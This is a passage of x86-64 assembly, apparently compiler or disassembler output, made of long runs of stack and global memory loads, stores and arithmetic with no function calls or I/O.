mov eax, dword [rsp + 0x4f20]
mov ecx, dword [rsp + 0x4fc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5024], eax
mov rax, qword [rsp + 0xa128]
mov rcx, qword [rsp + 0x98b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5058], eax
movsx eax, word [rsp + 0x15c4]
movsx ecx, word [0x1401cc0b4]
sub eax, ecx
mov word [0x1401cc0c0], ax
movzx eax, word [rsp + 0x1180]
mov word [rsp + 0x17bc], ax
movzx eax, word [rsp + 0x1714]
mov rcx, qword [rsp + 0x9b58]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9448]
mov word [rcx], ax
lea rax, [rsp + 0x1e5]
mov qword [rsp + 0xa8f0], rax
movsx eax, word [rsp + 0x14e8]
mov rcx, qword [rsp + 0xa7f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa820]
mov word [rcx], ax
mov rax, qword [rsp + 0x9500]
mov rcx, qword [rsp + 0xa848]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa230], rax
lea rax, [rsp + 0x5064]
mov qword [rsp + 0xa8f8], rax
mov rax, qword [rsp + 0x8c58]
mov rcx, qword [rsp + 0x91d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x508c], eax
mov rax, qword [rsp + 0xa4b8]
mov rax, qword [rax]
mov qword [rsp + 0xa900], rax
movsx eax, byte [rsp + 0x22b]
movsx ecx, byte [0x1401cc047]
add eax, ecx
mov byte [0x1401cc063], al
movzx eax, byte [rsp + 0x245]
movzx ecx, byte [rsp + 0x1f3]
add eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xa470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9478]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x14c8], ax
lea rax, [0x1401cc080]
mov qword [rsp + 0xa908], rax
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x211]
sar eax, cl
mov byte [rsp + 0x21c], al
lea rax, [rsp + 0xa338]
mov qword [rsp + 0xa910], rax
mov eax, dword [rsp + 0x5100]
movzx ecx, al
mov eax, dword [rsp + 0x4ff8]
shl eax, cl
mov dword [rsp + 0x50c4], eax
mov rax, qword [rsp + 0xa3c8]
mov rax, qword [rax]
mov qword [rsp + 0xa918], rax
mov rax, qword [rsp + 0xa8f8]
mov ecx, dword [rsp + 0x5034]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9308]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14f8]
movzx ecx, word [rsp + 0x1760]
or eax, ecx
mov word [rsp + 0x16f4], ax
movsx eax, word [rsp + 0x1758]
mov rcx, qword [rsp + 0x9ad8]
movsx ecx, word [rcx]
imul eax, ecx
mov word [0x1401cc0c8], ax
mov rax, qword [rsp + 0x8fa8]
movzx eax, byte [rax]
mov byte [rsp + 0x298], al
mov rax, qword [0x1401cd8a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x266]
and eax, ecx
mov byte [rsp + 0x241], al
movzx eax, word [rsp + 0x16b4]
mov word [rsp + 0x17c0], ax
mov rax, qword [rsp + 0x9650]
mov rcx, qword [rsp + 0x9ae8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa030], rax
mov rax, qword [rsp + 0x8f48]
mov rcx, qword [rsp + 0x8df8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x99e8]
mov dword [rcx], eax
lea rax, [rsp + 0x9ae0]
mov qword [rsp + 0xa920], rax
mov rax, qword [rsp + 0x9518]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0x9878]
movzx eax, byte [rax]
mov byte [rsp + 0x299], al
lea rax, [rsp + 0x215]
mov qword [0x1401cdac8], rax
movzx eax, byte [rsp + 0x20d]
mov rcx, qword [rsp + 0xa7b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x289], al
movsx eax, word [rsp + 0x17a8]
mov rcx, qword [0x1401cd9d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14dc], ax
movzx eax, word [rsp + 0x1780]
mov word [rsp + 0x17c4], ax
mov rax, qword [rsp + 0x9468]
mov ecx, dword [rsp + 0x5090]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f88], eax
mov rax, qword [rsp + 0x8100]
mov qword [rsp + 0xa928], rax
mov rax, qword [rsp + 0xa1b8]
mov rcx, qword [rsp + 0x81c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x9548]
mov ecx, dword [rsp + 0x4828]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x99d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16dc]
sub eax, ecx
mov word [rsp + 0x1448], ax
movzx eax, word [rsp + 0x1748]
mov word [0x1401cdad0], ax
movzx eax, byte [rsp + 0x1e2]
mov rcx, qword [rsp + 0x9c40]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9af8]
mov byte [rcx], al
movzx eax, word [0x1401cc05c]
mov word [rsp + 0x17c8], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x287]
or eax, ecx
mov rcx, qword [rsp + 0x9ee8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa188]
mov eax, dword [rax]
mov dword [rsp + 0x5130], eax
mov rax, qword [rsp + 0x91f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x50a8]
shl eax, cl
mov dword [rsp + 0x4ef4], eax
mov rax, qword [rsp + 0x9500]
movzx ecx, al
mov rax, qword [rsp + 0xa4e0]
shr rax, cl
mov qword [rsp + 0x86e8], rax
lea rax, [rsp + 0xa328]
mov qword [rsp + 0xa930], rax
mov rax, qword [0x1401cd920]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x23a]
and eax, ecx
mov byte [rsp + 0x209], al
movsx eax, word [rsp + 0x15d8]
movsx ecx, word [rsp + 0x16ec]
sub eax, ecx
mov word [0x1401cc0e0], ax
mov rax, qword [rsp + 0x9d48]
movzx eax, byte [rax]
mov byte [rsp + 0x29a], al
mov rax, qword [rsp + 0x9448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15ac]
sub eax, ecx
mov word [rsp + 0x1518], ax
mov rax, qword [rsp + 0x9b18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f0]
mov byte [rsp + 0x29b], al
mov rax, qword [rsp + 0x8f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5078]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96c8]
mov rax, qword [rax]
mov qword [rsp + 0xa938], rax
mov rax, qword [rsp + 0x92c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b80], rax
mov eax, dword [rsp + 0x507c]
mov ecx, dword [rsp + 0x5074]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa198]
mov dword [rcx], eax
lea rax, [rsp + 0x1738]
mov qword [0x1401cdad8], rax
lea rax, [rsp + 0x163c]
mov qword [rsp + 0xa940], rax
movzx eax, byte [0x1401cc008]
movzx ecx, byte [rsp + 0x223]
and eax, ecx
mov byte [rsp + 0xb2], al
movzx eax, byte [rsp + 0x1fc]
mov byte [rsp + 0x29c], al
movzx eax, byte [rsp + 0x112]
movzx ecx, byte [rsp + 0x214]
sub eax, ecx
mov byte [rsp + 0x232], al
lea rax, [0x1401cd710]
mov qword [rsp + 0xa948], rax
mov rax, qword [rsp + 0x9258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95d0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa338], rax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa668]
shl rax, cl
mov rcx, qword [rsp + 0x96c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e80]
mov dword [rsp + 0x5134], eax
movsx eax, word [rsp + 0xebc]
movsx ecx, word [rsp + 0x1548]
sar eax, cl
mov word [0x1401cc04c], ax
movzx eax, word [rsp + 0x15c8]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xa0a0]
movzx eax, byte [rax]
mov byte [rsp + 0x29d], al
movsx eax, word [rsp + 0x1674]
movsx ecx, word [rsp + 0x1548]
add eax, ecx
mov word [rsp + 0x1790], ax
mov rax, qword [rsp + 0xa7c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c0]
and eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ba0]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8448], rax
mov rax, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0x8560]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x99a0]
mov qword [rcx], rax
lea rax, [rsp + 0x5050]
mov qword [rsp + 0xa950], rax
mov eax, dword [rsp + 0x50a8]
mov ecx, dword [rsp + 0x5040]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50e0], eax
movzx eax, byte [rsp + 0x21c]
mov rcx, qword [rsp + 0x9920]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd78e], al
mov rax, qword [0x1401cda88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d4], ax
mov rax, qword [rsp + 0x9980]
movzx eax, word [rax]
mov word [rsp + 0x17cc], ax
mov rax, qword [rsp + 0x9f40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20e]
sub eax, ecx
mov byte [rsp + 0x277], al
movzx eax, byte [rsp + 0x231]
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0x9b00]
mov rcx, qword [rsp + 0xa048]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa648]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0c8]
mov ecx, dword [rsp + 0x4f58]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9798]
mov dword [rcx], eax
lea rax, [rsp + 0x4ff4]
mov qword [rsp + 0xa958], rax
mov rax, qword [rsp + 0xa1b8]
movzx ecx, al
mov rax, qword [rsp + 0xa588]
shl rax, cl
mov qword [rsp + 0xa918], rax
lea rax, [rsp + 0x26a]
mov qword [0x1401cdae0], rax
movzx eax, word [rsp + 0x1578]
mov word [rsp + 0x17d0], ax
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1710], ax
movzx eax, byte [rsp + 0x216]
mov byte [rsp + 0x29f], al
mov rax, qword [rsp + 0xa0b0]
movsx eax, word [rax]
movsx ecx, word [0x1401cd7e8]
sar eax, cl
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xa598]
mov rcx, qword [rsp + 0x7fb8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8bd0], rax
mov eax, dword [rsp + 0x4dd8]
mov dword [rsp + 0x5138], eax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0xa860]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9a38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f80]
mov dword [rsp + 0x513c], eax
lea rax, [rsp + 0x16c8]
mov qword [0x1401cdae8], rax
mov rax, qword [rsp + 0x93c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x206]
sub eax, ecx
mov byte [rsp + 0x23d], al
movsx eax, byte [0x1401cc037]
mov rcx, qword [rsp + 0xa018]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x269], al
lea rax, [rsp + 0x172c]
mov qword [rsp + 0xa960], rax
movzx eax, byte [rsp + 0x241]
movzx ecx, byte [rsp + 0x25a]
sub eax, ecx
mov byte [rsp + 0x263], al
mov rax, qword [rsp + 0x87c8]
mov qword [rsp + 0xa968], rax
mov rax, qword [rsp + 0xa3e0]
mov ecx, dword [rsp + 0x4fa0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ed0], eax
mov rax, qword [rsp + 0x9800]
mov ecx, dword [0x1401cc01c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f08], eax
mov rax, qword [rsp + 0xa800]
mov rax, qword [rax]
mov qword [rsp + 0xa970], rax
movzx eax, word [rsp + 0x1778]
movzx ecx, word [rsp + 0x1714]
add eax, ecx
mov word [0x1401cc0b0], ax
movzx eax, byte [rsp + 0x223]
movzx ecx, byte [0x1401cc009]
add eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov byte [rcx], al
lea rax, [rsp + 0x15d4]
mov qword [rsp + 0xa978], rax
mov rax, qword [rsp + 0xa730]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ec]
sub eax, ecx
mov byte [rsp + 0x1e1], al
movsx eax, word [rsp + 0x1168]
movsx ecx, word [rsp + 0x1674]
add eax, ecx
mov word [rsp + 0x11fc], ax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0x9a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa400]
mov qword [rcx], rax
mov rax, qword [rsp + 0x95b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa040]
shr rax, cl
mov rcx, qword [rsp + 0xa698]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91d0]
mov eax, dword [rax]
mov dword [rsp + 0x5140], eax
mov eax, dword [rsp + 0x4ed4]
mov ecx, dword [rsp + 0x4f74]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa470]
movsx eax, word [rax]
mov rcx, qword [0x1401cd7a0]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [0x1401cda00], ax
movzx eax, byte [rsp + 0x216]
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x9fb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c08]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1e2]
movzx ecx, byte [rsp + 0xd6]
shl eax, cl
mov rcx, qword [rsp + 0x9790]
mov byte [rcx], al
lea rax, [rsp + 0x1574]
mov qword [rsp + 0xa980], rax
mov rax, qword [rsp + 0x92e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4edc], eax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov dword [rsp + 0x5144], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xa898]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9a28], rax
mov rax, qword [rsp + 0x9e50]
mov rcx, qword [rsp + 0x98c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e70], rax
movzx eax, byte [0x1401cc03f]
mov byte [rsp + 0x2a1], al
mov rax, qword [rsp + 0xa2b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1574]
and eax, ecx
mov word [0x1401cc0f4], ax
mov rax, qword [rsp + 0x9e28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x287]
sub eax, ecx
mov byte [rsp + 0x250], al
lea rax, [rsp + 0x16ec]
mov qword [rsp + 0xa988], rax
mov rax, qword [rsp + 0x9bd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17c8]
sub eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fe0]
mov rcx, qword [rsp + 0xa898]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
lea rax, [rsp + 0x94b0]
mov qword [rsp + 0xa990], rax
mov rax, qword [rsp + 0x9360]
mov rcx, qword [rsp + 0x91f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5064], eax
mov eax, dword [rsp + 0x4b18]
mov dword [rsp + 0x5148], eax
mov rax, qword [rsp + 0xa220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9430]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x97e8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x235]
movsx ecx, byte [rsp + 0x28c]
or eax, ecx
mov byte [0x1401cc066], al
mov rax, qword [rsp + 0x8c48]
movzx eax, byte [rax]
mov byte [rsp + 0x2a2], al
movzx eax, word [rsp + 0x16f0]
mov rcx, qword [rsp + 0xa5c8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9180]
mov word [rcx], ax
movzx eax, byte [rsp + 0x225]
movzx ecx, byte [rsp + 0x1eb]
shl eax, cl
mov rcx, qword [rsp + 0x9aa8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa058]
mov rax, qword [rax]
mov qword [rsp + 0xa998], rax
mov eax, dword [rsp + 0x5090]
mov ecx, dword [rsp + 0x4fe8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5070], eax
mov rax, qword [rsp + 0x90b0]
mov eax, dword [rax]
mov dword [rsp + 0x514c], eax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x9f10]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9e90]
mov qword [rcx], rax
mov rax, qword [0x1401cd740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ad8]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1674], ax
movzx eax, byte [rsp + 0x25f]
movzx ecx, byte [rsp + 0x25c]
sub eax, ecx
mov rcx, qword [0x1401cda20]
mov byte [rcx], al
lea rax, [rsp + 0x73]
mov qword [rsp + 0xa9a0], rax
movzx eax, word [0x1401cda18]
movzx ecx, word [rsp + 0x1724]
sub eax, ecx
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
lea rax, [rsp + 0x17bc]
mov qword [rsp + 0xa9a8], rax
mov rax, qword [rsp + 0x96f0]
mov ecx, dword [rsp + 0x5078]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fc4], eax
mov rax, qword [rsp + 0x8ae8]
mov rcx, qword [0x1401cc020]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9588]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa608]
mov rcx, qword [rsp + 0x8f38]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8558], rax
mov eax, dword [rsp + 0x4ed8]
mov ecx, dword [rsp + 0x5100]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa950]
mov dword [rcx], eax
lea rax, [rsp + 0x76]
mov qword [rsp + 0xa9b0], rax
mov rax, qword [rsp + 0x9070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x90c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc0ec], ax
movsx eax, byte [0x1401cd717]
movsx ecx, byte [rsp + 0x25b]
add eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov byte [rcx], al
movsx eax, word [rsp + 0x14f4]
movsx ecx, word [rsp + 0xfc4]
add eax, ecx
mov rcx, qword [rsp + 0xa720]
mov word [rcx], ax
movzx eax, word [rsp + 0x1608]
mov word [rsp + 0x17d4], ax
movsx eax, byte [rsp + 0x1f2]
mov rcx, qword [rsp + 0x9138]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0x8e58]
mov rax, qword [rax]
mov qword [rsp + 0xa9b8], rax
mov eax, dword [rsp + 0x50d4]
movzx ecx, al
mov eax, dword [rsp + 0x4fc4]
shl eax, cl
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
lea rax, [rsp + 0x4e48]
mov qword [rsp + 0xa9c0], rax
mov rax, qword [rsp + 0xa630]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a28]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9018]
mov qword [rcx], rax
lea rax, [rsp + 0xf18]
mov qword [0x1401cdaf0], rax
mov rax, qword [rsp + 0x9f40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26b]
sar eax, cl
mov byte [rsp + 0x24e], al
mov rax, qword [rsp + 0x9ad8]
movzx eax, word [rax]
mov word [rsp + 0x17d8], ax
mov rax, qword [rsp + 0x9bb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20a]
and eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov rax, qword [0x1401cda40]
movzx eax, byte [rax]
mov byte [rsp + 0x2a3], al
mov eax, dword [rsp + 0x4ea4]
mov ecx, dword [rsp + 0x4e4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9f90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xa9c8], rax
mov eax, dword [rsp + 0x4de8]
mov ecx, dword [rsp + 0x50a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e48], eax
mov rax, qword [rsp + 0x9938]
movzx eax, word [rax]
mov word [0x1401cdaf8], ax
movzx eax, byte [rsp + 0x1ff]
mov byte [rsp + 0x2a4], al
mov rax, qword [0x1401cda10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x24f]
sub eax, ecx
mov byte [rsp + 0x227], al
movsx eax, word [rsp + 0x1524]
mov rcx, qword [rsp + 0x94f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9488]
mov word [rcx], ax
movzx eax, word [0x1401cc088]
mov word [rsp + 0x17dc], ax
mov rax, qword [rsp + 0xa398]
mov rcx, qword [rsp + 0x8f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4fa0], eax
lea rax, [rsp + 0xa748]
mov qword [rsp + 0xa9d0], rax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x94b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9510], rax
lea rax, [rsp + 0x5060]
mov qword [rsp + 0xa9d8], rax
mov rax, qword [rsp + 0x96b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9b]
sub eax, ecx
mov rcx, qword [0x1401cd9b8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1758]
mov rcx, qword [rsp + 0xa5a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ad8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x251]
mov rcx, qword [rsp + 0xa090]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa718]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8b0]
movzx eax, word [rax]
mov word [rsp + 0x17e0], ax
mov rax, qword [rsp + 0xa258]
movzx eax, word [rax]
mov rcx, qword [0x1401cdab8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x15a0], ax
mov rax, qword [rsp + 0x94b0]
movzx ecx, al
mov rax, qword [rsp + 0x94c0]
shr rax, cl
mov qword [rsp + 0x8018], rax
mov rax, qword [rsp + 0xa5b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9000]
mov qword [rsp + 0xa9e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa9e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0x97f8]
mov rcx, qword [rsp + 0x9078]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ff8], rax
lea rax, [rsp + 0x4f64]
mov qword [rsp + 0xa9e8], rax
movsx eax, byte [rsp + 0x240]
mov rcx, qword [0x1401cd890]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc067], al
movsx eax, word [rsp + 0x16ac]
mov rcx, qword [rsp + 0x9328]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x162c], ax
movzx eax, word [rsp + 0x1694]
mov word [rsp + 0x17e4], ax
movzx eax, byte [rsp + 0x214]
movzx ecx, byte [rsp + 0x21e]
add eax, ecx
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
movzx eax, byte [rsp + 0x251]
movzx ecx, byte [rsp + 0x22e]
sub eax, ecx
mov rcx, qword [rsp + 0x9358]
mov byte [rcx], al
lea rax, [rsp + 0x9a00]
mov qword [rsp + 0xa9f0], rax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x9668]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x90c0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e94]
mov dword [rsp + 0x5150], eax
mov eax, dword [rsp + 0x4f5c]
mov ecx, dword [rsp + 0x4fc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5068], eax
mov rax, qword [rsp + 0xa7a8]
movzx eax, word [rax]
mov rcx, qword [0x1401cd850]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401cd818]
mov word [rcx], ax
movsx eax, byte [rsp + 0x218]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov rcx, qword [rsp + 0xa038]
mov byte [rcx], al
movzx eax, word [rsp + 0x14d8]
mov word [rsp + 0x17e8], ax
mov rax, qword [rsp + 0x97e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9d60]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2a3], al
mov rax, qword [rsp + 0x9100]
movzx eax, byte [rax]
mov byte [rsp + 0x2a5], al
mov rax, qword [rsp + 0xa8e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa708]
sar rax, cl
mov qword [rsp + 0x9438], rax
mov eax, dword [rsp + 0x4eb0]
mov dword [rsp + 0x5154], eax
mov rax, qword [rsp + 0xa500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f90]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa698]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9500]
shl rax, cl
mov qword [rsp + 0xa140], rax
mov rax, qword [0x1401cd910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1668]
add eax, ecx
mov word [0x1401cc0dc], ax
movzx eax, byte [rsp + 0x253]
mov byte [rsp + 0x2a6], al
movzx eax, word [rsp + 0x1588]
movzx ecx, word [rsp + 0x17b8]
and eax, ecx
mov rcx, qword [rsp + 0xa258]
mov word [rcx], ax
mov rax, qword [0x1401cda80]
movzx eax, byte [rax]
mov byte [rsp + 0x2a7], al
mov rax, qword [rsp + 0x9950]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1578]
add eax, ecx
mov word [rsp + 0x1564], ax
mov rax, qword [rsp + 0x9d90]
mov rcx, qword [rsp + 0x9cb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa000], rax
mov rax, qword [rsp + 0x97f0]
mov eax, dword [rax]
mov dword [rsp + 0x5158], eax
mov rax, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0x91d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fb8], eax
lea rax, [rsp + 0x9ba0]
mov qword [rsp + 0xa9f8], rax
mov rax, qword [rsp + 0x9630]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc06a], al
movzx eax, byte [rsp + 0x268]
mov rcx, qword [rsp + 0x9d28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa360]
mov byte [rcx], al
mov rax, qword [rsp + 0x9828]
movsx eax, word [rax]
mov rcx, qword [0x1401cd940]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14f4], ax
lea rax, [rsp + 0x164c]
mov qword [rsp + 0xaa00], rax
mov rax, qword [rsp + 0x9a90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c4]
add eax, ecx
mov rcx, qword [rsp + 0x9c48]
mov word [rcx], ax
mov eax, dword [rsp + 0x50c4]
mov dword [rsp + 0x515c], eax
mov rax, qword [rsp + 0xa340]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ef0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa760]
